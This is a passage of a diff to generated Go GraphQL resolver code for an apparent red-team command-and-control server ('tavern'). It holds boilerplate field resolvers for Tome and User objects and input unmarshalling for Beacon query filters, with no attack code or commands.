 	return fc, nil
 }
 
-func (ec *executionContext) _User_tomes(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_User_tomes(ctx, field)
+func (ec *executionContext) _Tome_description(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_description(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -6490,30 +6397,623 @@ func (ec *executionContext) _User_tomes(ctx context.Context, field graphql.Colle
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Tomes(ctx)
+		return obj.Description, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.Tome)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalOTome2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeᚄ(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_User_tomes(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tome_description(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "User",
+		Object:     "Tome",
 		Field:      field,
-		IsMethod:   true,
+		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_Tome_id(ctx, field)
+			return nil, errors.New("field of type String does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _Tome_author(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_author(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Author, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(string)
+	fc.Result = res
+	return ec.marshalNString2string(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Tome_author(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Tome",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type String does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _Tome_supportModel(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_supportModel(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.SupportModel, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(tome.SupportModel)
+	fc.Result = res
+	return ec.marshalNTomeSupportModel2realmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐSupportModel(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Tome_supportModel(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Tome",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type TomeSupportModel does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _Tome_tactic(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_tactic(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Tactic, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(tome.Tactic)
+	fc.Result = res
+	return ec.marshalNTomeTactic2realmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐTactic(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Tome_tactic(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Tome",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type TomeTactic does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _Tome_paramDefs(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_paramDefs(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.ParamDefs, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		return graphql.Null
+	}
+	res := resTmp.(string)
+	fc.Result = res
+	return ec.marshalOString2string(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Tome_paramDefs(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Tome",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type String does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _Tome_eldritch(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_eldritch(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Eldritch, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(string)
+	fc.Result = res
+	return ec.marshalNString2string(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Tome_eldritch(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Tome",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type String does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _Tome_files(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_files(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Files(ctx)
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		return graphql.Null
+	}
+	res := resTmp.([]*ent.File)
+	fc.Result = res
+	return ec.marshalOFile2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileᚄ(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Tome_files(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Tome",
+		Field:      field,
+		IsMethod:   true,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_File_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_File_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_File_lastModifiedAt(ctx, field)
+			case "name":
+				return ec.fieldContext_File_name(ctx, field)
+			case "size":
+				return ec.fieldContext_File_size(ctx, field)
+			case "hash":
+				return ec.fieldContext_File_hash(ctx, field)
+			case "tomes":
+				return ec.fieldContext_File_tomes(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type File", field.Name)
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _Tome_uploader(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tome_uploader(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Uploader(ctx)
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		return graphql.Null
+	}
+	res := resTmp.(*ent.User)
+	fc.Result = res
+	return ec.marshalOUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_Tome_uploader(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "Tome",
+		Field:      field,
+		IsMethod:   true,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_User_id(ctx, field)
+			case "name":
+				return ec.fieldContext_User_name(ctx, field)
+			case "photoURL":
+				return ec.fieldContext_User_photoURL(ctx, field)
+			case "isActivated":
+				return ec.fieldContext_User_isActivated(ctx, field)
+			case "isAdmin":
+				return ec.fieldContext_User_isAdmin(ctx, field)
+			case "tomes":
+				return ec.fieldContext_User_tomes(ctx, field)
+			}
+			return nil, fmt.Errorf("no field named %q was found under type User", field.Name)
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _User_id(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_User_id(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.ID, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(int)
+	fc.Result = res
+	return ec.marshalNID2int(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_User_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "User",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type ID does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _User_name(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_User_name(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Name, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(string)
+	fc.Result = res
+	return ec.marshalNString2string(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_User_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "User",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type String does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _User_photoURL(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_User_photoURL(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.PhotoURL, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(string)
+	fc.Result = res
+	return ec.marshalNString2string(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_User_photoURL(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "User",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type String does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _User_isActivated(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_User_isActivated(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.IsActivated, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(bool)
+	fc.Result = res
+	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_User_isActivated(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "User",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type Boolean does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _User_isAdmin(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_User_isAdmin(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.IsAdmin, nil
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
+		return graphql.Null
+	}
+	res := resTmp.(bool)
+	fc.Result = res
+	return ec.marshalNBoolean2bool(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_User_isAdmin(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "User",
+		Field:      field,
+		IsMethod:   false,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			return nil, errors.New("field of type Boolean does not have child fields")
+		},
+	}
+	return fc, nil
+}
+
+func (ec *executionContext) _User_tomes(ctx context.Context, field graphql.CollectedField, obj *ent.User) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_User_tomes(ctx, field)
+	if err != nil {
+		return graphql.Null
+	}
+	ctx = graphql.WithFieldContext(ctx, fc)
+	defer func() {
+		if r := recover(); r != nil {
+			ec.Error(ctx, ec.Recover(ctx, r))
+			ret = graphql.Null
+		}
+	}()
+	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
+		ctx = rctx // use context from middleware stack in children
+		return obj.Tomes(ctx)
+	})
+	if err != nil {
+		ec.Error(ctx, err)
+		return graphql.Null
+	}
+	if resTmp == nil {
+		return graphql.Null
+	}
+	res := resTmp.([]*ent.Tome)
+	fc.Result = res
+	return ec.marshalOTome2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeᚄ(ctx, field.Selections, res)
+}
+
+func (ec *executionContext) fieldContext_User_tomes(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+	fc = &graphql.FieldContext{
+		Object:     "User",
+		Field:      field,
+		IsMethod:   true,
+		IsResolver: false,
+		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_Tome_id(ctx, field)
 			case "createdAt":
 				return ec.fieldContext_Tome_createdAt(ctx, field)
 			case "lastModifiedAt":
@@ -6537,1229 +7037,1858 @@ func (ec *executionContext) fieldContext_User_tomes(ctx context.Context, field g
 			case "uploader":
 				return ec.fieldContext_Tome_uploader(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type Tome", field.Name)
-		},
-	}
-	return fc, nil
-}
+			return nil, fmt.Errorf("no field named %q was found under type Tome", field.Name)
+		},
+	}
+	return fc, nil
+}
+
+// endregion **************************** field.gotpl *****************************
+
+// region    **************************** input.gotpl *****************************
+
+func (ec *executionContext) unmarshalInputBeaconOrder(ctx context.Context, obj interface{}) (ent.BeaconOrder, error) {
+	var it ent.BeaconOrder
+	asMap := map[string]interface{}{}
+	for k, v := range obj.(map[string]interface{}) {
+		asMap[k] = v
+	}
+
+	if _, present := asMap["direction"]; !present {
+		asMap["direction"] = "ASC"
+	}
+
+	fieldsInOrder := [...]string{"direction", "field"}
+	for _, k := range fieldsInOrder {
+		v, ok := asMap[k]
+		if !ok {
+			continue
+		}
+		switch k {
+		case "direction":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("direction"))
+			data, err := ec.unmarshalNOrderDirection2entgoᚗioᚋcontribᚋentgqlᚐOrderDirection(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.Direction = data
+		case "field":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field"))
+			data, err := ec.unmarshalNBeaconOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconOrderField(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.Field = data
+		}
+	}
+
+	return it, nil
+}
+
+func (ec *executionContext) unmarshalInputBeaconWhereInput(ctx context.Context, obj interface{}) (ent.BeaconWhereInput, error) {
+	var it ent.BeaconWhereInput
+	asMap := map[string]interface{}{}
+	for k, v := range obj.(map[string]interface{}) {
+		asMap[k] = v
+	}
+
+	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameEqualFold", "nameContainsFold", "principal", "principalNEQ", "principalIn", "principalNotIn", "principalGT", "principalGTE", "principalLT", "principalLTE", "principalContains", "principalHasPrefix", "principalHasSuffix", "principalIsNil", "principalNotNil", "principalEqualFold", "principalContainsFold", "identifier", "identifierNEQ", "identifierIn", "identifierNotIn", "identifierGT", "identifierGTE", "identifierLT", "identifierLTE", "identifierContains", "identifierHasPrefix", "identifierHasSuffix", "identifierEqualFold", "identifierContainsFold", "agentIdentifier", "agentIdentifierNEQ", "agentIdentifierIn", "agentIdentifierNotIn", "agentIdentifierGT", "agentIdentifierGTE", "agentIdentifierLT", "agentIdentifierLTE", "agentIdentifierContains", "agentIdentifierHasPrefix", "agentIdentifierHasSuffix", "agentIdentifierIsNil", "agentIdentifierNotNil", "agentIdentifierEqualFold", "agentIdentifierContainsFold", "lastSeenAt", "lastSeenAtNEQ", "lastSeenAtIn", "lastSeenAtNotIn", "lastSeenAtGT", "lastSeenAtGTE", "lastSeenAtLT", "lastSeenAtLTE", "lastSeenAtIsNil", "lastSeenAtNotNil", "interval", "intervalNEQ", "intervalIn", "intervalNotIn", "intervalGT", "intervalGTE", "intervalLT", "intervalLTE", "intervalIsNil", "intervalNotNil", "hasHost", "hasHostWith", "hasTasks", "hasTasksWith"}
+	for _, k := range fieldsInOrder {
+		v, ok := asMap[k]
+		if !ok {
+			continue
+		}
+		switch k {
+		case "not":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not"))
+			data, err := ec.unmarshalOBeaconWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInput(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.Not = data
+		case "and":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and"))
+			data, err := ec.unmarshalOBeaconWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInputᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.And = data
+		case "or":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or"))
+			data, err := ec.unmarshalOBeaconWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeaconWhereInputᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.Or = data
+		case "id":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.ID = data
+		case "idNEQ":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IDNEQ = data
+		case "idIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IDIn = data
+		case "idNotIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IDNotIn = data
+		case "idGT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IDGT = data
+		case "idGTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IDGTE = data
+		case "idLT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IDLT = data
+		case "idLTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.IDLTE = data
+		case "createdAt":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAt"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAt = data
+		case "createdAtNEQ":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNEQ"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAtNEQ = data
+		case "createdAtIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAtIn = data
+		case "createdAtNotIn":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNotIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAtNotIn = data
+		case "createdAtGT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGT"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAtGT = data
+		case "createdAtGTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGTE"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAtGTE = data
+		case "createdAtLT":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLT"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAtLT = data
+		case "createdAtLTE":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLTE"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.CreatedAtLTE = data
+		case "lastModifiedAt":
+			var err error
+
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAt"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			if err != nil {
+				return it, err
+			}
+			it.LastModifiedAt = data
+		case "lastModifiedAtNEQ":
+			var err error
+
